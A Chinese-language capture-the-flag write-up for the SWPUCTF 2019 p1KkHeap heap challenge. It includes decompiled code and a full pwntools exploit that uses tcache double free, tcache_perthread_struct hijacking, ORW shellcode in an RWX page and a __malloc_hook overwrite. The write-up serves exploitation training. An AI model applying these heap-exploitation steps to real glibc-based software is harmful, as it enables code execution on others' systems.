题面
Ubuntu 18
就给了二进制文件。
ubuntu 18 使用的是 libc 2.27,不过 2.27 后面对 tcache double free 做了保护。要用 Ubuntu GLIBC 2.27-3ubuntu1.2 及以下的 libc 包 patchelf。
分析
checksec 保护全开。
1
2
3
4
5
6
|
[*] '/data/project/ctf-repo/pwn/nssctf/SWPU_2019-p1kkheap/SWPUCTF_2019_p1KkHeap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
|
ida 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
sub_B0A(a1, a2, a3);
puts(s: " Welcome to SWPUCTF 2019");
while ( count_12 > 0 )
{
menu();
v3 = recv_num();
if ( v3 == 3 )
{
edit();
}
else if ( v3 > 3 )
{
if ( v3 == 5 )
notlikeyou();
if ( v3 < 5 )
{
del();
}
else if ( v3 == 666 )
{
puts(s: "p1Kk wants a boyfriend!");
}
}
else if ( v3 == 1 )
{
add();
}
else if ( v3 == 2 )
{
show();
}
--count_12;
}
notlikeyou();
}
|
count_12 是在 .data 初始化为 12,所以只能进行 12 次。
sub_B0A 有 prctl 还有 nmap。
用 ceccomp 发现 execve 被限制了。
1
2
3
4
|
if ( mmap(addr: (void *)0x66660000, len: 0x1000u, prot: 7, flags: 34, fd: -1, offset: 0) != (void *)1717960704 )
exit(status: -1); // 内存分配 gift
memset(s: (void *)0x66660000, c: 0, n: 0x1000u);
strcpy((char *)0x66660000, "SWPUCTF_p1Kk");
|
在 0x66660000 有 0x1000 的 rwx 内存。有大量空间写 shellcode。
add 添加最大为 0x100 ,只能添加 8 个。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
int add()
{
int v1; // [rsp+4h] [rbp-Ch]
size_t size; // [rsp+8h] [rbp-8h]
printf(format: "size: ");
size = recv_num();
if ( size > 0x100 )
notlikeyou();
v1 = find_empty_list();
if ( v1 <= 7 )
{
heap_ptr[v1] = malloc(size);
heap_size[v1] = size;
}
return puts(s: "Done!");
}
|
show:
1
2
3
4
5
6
7
8
9
10
11
12
|
int show()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf(format: "id: ");
v1 = recv_num();
if ( v1 > 7 )
notlikeyou();
printf(format: "content: ");
puts(s: (const char *)heap_ptr[v1]);
return puts(s: "Done!");
}
|
edit:
1
2
3
4
5
6
7
8
9
10
11
12
|
int edit()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf(format: "id: ");
v1 = recv_num();
if ( v1 > 7 )
notlikeyou();
printf(format: "content: ");
read(fd: 0, buf: *((void **)&heap_ptr + v1), nbytes: heap_size[v1]);
return puts(s: "Done!");
}
|
del,有一个 count_3 的 .data 数字。所以只能 del 3 次。这里只置零了堆大小数组,没有把地址置零,还是可以 UAF。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
int del()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
if ( count_3 <= 0 )
notlikeyou();
printf(format: "id: ");
v1 = recv_num();
if ( v1 > 7 )
notlikeyou();
free(ptr: (void *)heap_ptr[v1]);
heap_size[v1] = 0;
--count_3;
return puts(s: "Done!");
}
|
这道题只能 ORW 拿 flag。但是只能 free 3 次。要把 tcache 塞满是没办法的。只能劫持 tcache_prethread_struct 篡改来泄漏和攻击。
利用
先把过程模块化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
def select(id: int):
io.recvuntil(b"Your Choice: ")
io.sendline(str(id).encode())
def add(size: int):
select(1)
io.recvuntil(b"size: ")
io.sendline(str(size).encode())
print("add ", hex(size))
def show(id: int):
select(2)
io.recvuntil(b"id: ")
io.sendline(str(id).encode())
print("show ", id)
def edit(id: int, content: bytes):
select(3)
io.recvuntil(b"id: ")
io.sendline(str(id).encode())
io.recvuntil(b"content: ")
io.send(content)
print("edit ", id)
def free(id: int):
select(4)
io.recvuntil(b"id: ")
io.sendline(str(id).encode())
print("free ", id)
def _debug():
gdb.attach(
io,
gdbscript="""
decompiler connect ida
""",
)
|
劫持 heap 基址
先把 heap 基址拿到,来拿到 tcache_prethread_struct。
libc 2.27 直接 double free 。
1
2
3
4
5
6
7
8
|
add(0x100) # 0
add(0x100) # 1
free(1)
free(1)
show(1)
tcache_perthread_struct = u64(io.recvuntil(b"\x55")[-6:].ljust(8, b"\x00")) - 0x360
print("hex address =", hex(tcache_perthread_struct))
|

此时 0x110 tcache 成环。
劫持改写 tcache_perthread_struct
之后 add 一个拿来写 tcache_perthread_struct 让拿到 tcache_perthread_struct 地址。
1
2
|
add(0x100) # 2
edit(2, p64(tcache_perthread_struct) * 2)
|

两次 free 之后 0x110 tcachebins count 变成 -1,而且拿到 tcache_prethread_struct 地址。
1
2
3
|
add(0x100) # 3
add(0x100) # 4
# 0x110 tcache count = -1
|
chunk4 即是 tcache_prethread_struct。可以覆盖。这里直接覆盖 0x100 为 0x66660000 再进一步劫持。
1
2
|
rwx_mem = 0x66660000
edit(4, b"\x00" * 0xB8 + p64(rwx_mem))
|
这里的 0xb8 计算方式为:
1
2
3
|
offset(entries[15])
= 0x40 + 15 * 8
= 0xb8
|

glibc 2.27 取 chunk 的时候不检查 count。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size(bytes, tbytes);
size_t tc_idx = csize2tidx(tbytes);
MAYBE_INIT_TCACHE();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache && tcache->entries[tc_idx] != NULL)
{
return tcache_get(tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
|
写入 ORW shellcode
下一次申请 0x100 就拿到 0x66660000 了。
直接 shellcraft 写就可以。
1
2
3
4
5
|
shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, rwx_mem + 0x300, 0x50)
shellcode += shellcraft.write(1, rwx_mem + 0x300, 0x50)
edit(5, asm(shellcode)) # 写 0x66660000
|
这一次 add 完成后,0x110 的 tcachebins count 为 -1:

因为 count 是无符号数,所以 -1 实际回环是 0xffffffffffffffff 极大数。所以下次 free 进 unsortedbins,可以拿 libc。
1
2
3
4
5
6
7
8
9
10
|
free(0)
show(0)
"""
因为 -1 无符号为 0xff..ff 所以进 unsorted bins
"""
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3ebca0
print("libc base address =", hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
|
下一步篡改 __malloc_hook 为 0x66660000。
__malloc_hook attack
和上面一样,用 tcache_perthread_struct 把 0x110 tcachebins 的指针改为 __malloc_hook:
1
|
edit(4, 0xb8 * b"\x00" + p64(malloc_hook)) # 劫持 malloc_hook
|

接下来拿到之后 edit 改地址就 pwn 咯。
1
2
3
|
add(0x100) # 6
edit(6, p64(rwx_mem))
add(100)
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
|
"""
[SWPU 2019]p1kkheap
Date: 2026-09-06
Author: storm1614.top
shellcode,tcache poisoning,tcache_perthread_struct
"""
from pwn import *
io = process("./SWPUCTF_2019_p1KkHeap")
#io = remote("node5.anna.nssctf.cn", 20666)
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
def select(id: int):
io.recvuntil(b"Your Choice: ")
io.sendline(str(id).encode())
def add(size: int):
select(1)
io.recvuntil(b"size: ")
io.sendline(str(size).encode())
print("add ", hex(size))
def show(id: int):
select(2)
io.recvuntil(b"id: ")
io.sendline(str(id).encode())
print("show ", id)
def edit(id: int, content: bytes):
select(3)
io.recvuntil(b"id: ")
io.sendline(str(id).encode())
io.recvuntil(b"content: ")
io.send(content)
print("edit ", id)
def free(id: int):
select(4)
io.recvuntil(b"id: ")
io.sendline(str(id).encode())
print("free ", id)
def _debug():
gdb.attach(
io,
gdbscript="""
decompiler connect ida
""",
)
"""
mmap(addr: (void *)0x66660000, len: 0x1000u, prot: 7, flags: 34, fd: -1, offset: 0)
glibc 2.27 最新有加保护,得用旧版本
tcache poisoning 泄漏 tcache_perthread_struct 地址,然后把 0x110 堆的地址改掉,让接下来 add 进入这个地址
这样往内存空间写 shellcode
此时 0x110 count = -1,因为无符号数,就接下来 free 进 unsorted bins 这样泄漏 libc
获得 libc 之后再修改 prethread 的 0x110 地址为 malloc_hook 来劫持 malloc 到 shellcode 位置
"""
rwx_mem = 0x66660000
add(0x100) # 0
add(0x100) # 1
free(1)
free(1)
show(1)
tcache_perthread_struct = u64(io.recvuntil(b"\x55")[-6:].ljust(8, b"\x00")) - 0x360
print("hex address =", hex(tcache_perthread_struct))
add(0x100) # 2
edit(2, p64(tcache_perthread_struct) * 2)
add(0x100) # 3
add(0x100) # 4
# 0x110 tcache count = -1
"""
offset(entries[15])
= 0x40 + 15 * 8
= 0xb8
"""
edit(4, b"\x00" * 0xB8 + p64(rwx_mem))
add(0x100) # 5
shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, rwx_mem + 0x300, 0x50)
shellcode += shellcraft.write(1, rwx_mem + 0x300, 0x50)
edit(5, asm(shellcode)) # 写 0x66660000
free(0)
show(0)
"""
因为 -1 无符号为 0xff..ff 所以进 unsorted bins
"""
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3ebca0
print("libc base address =", hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
edit(4, 0xb8 * b"\x00" + p64(malloc_hook)) # 劫持 malloc_hook
_debug()
add(0x100) # 6
edit(6, p64(rwx_mem))
add(100)
io.interactive()
|